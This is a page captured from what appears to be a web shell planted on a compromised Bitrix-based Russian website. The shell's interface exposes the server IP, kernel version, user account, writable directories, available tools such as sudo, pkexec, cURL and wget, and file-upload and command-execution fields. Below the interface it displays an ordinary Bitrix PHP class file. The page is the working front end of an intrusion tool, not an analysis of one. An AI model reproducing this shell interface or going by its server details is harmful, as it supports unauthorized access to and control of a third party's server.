403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/seo/lib/checkout/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/seo/lib/checkout/response.php
<?php

namespace Bitrix\Seo\Checkout;

use Bitrix\Main\Result;

/**
 * Class Response
 * @package Bitrix\Seo\Checkout
 */
abstract class Response extends Result
{
	const TYPE_CODE = '';

	protected $type;
	protected $responseText;

	/* @var Request|null */
	protected $request;

	/**
	 * Response constructor.
	 */
	public function __construct()
	{
		parent::__construct();
		$this->type = static::TYPE_CODE;
	}

	/**
	 * @param array $data
	 * @return Result|void
	 */
	public function setData(array $data)
	{
		parent::setData($data);
	}

	/**
	 * @param $responseText
	 */
	public function setResponseText($responseText)
	{
		$this->responseText = $responseText;
	}

	/**
	 * @return mixed
	 */
	public function getResponseText()
	{
		return $this->responseText;
	}

	/**
	 * @return Request|null
	 */
	public function getRequest()
	{
		return $this->request;
	}

	/**
	 * @param Request $request
	 * @return Request
	 */
	public function setRequest(Request $request)
	{
		return $this->request = $request;
	}

	/**
	 * @param $type
	 * @return static
	 * @throws \Bitrix\Main\ArgumentOutOfRangeException
	 */
	public static function create($type)
	{
		return Factory::create(get_called_class(), $type);
	}

	/**
	 * @param $data
	 */
	abstract public function parse($data);
}

Youez - 2016 - github.com/yon3zu
LinuXploit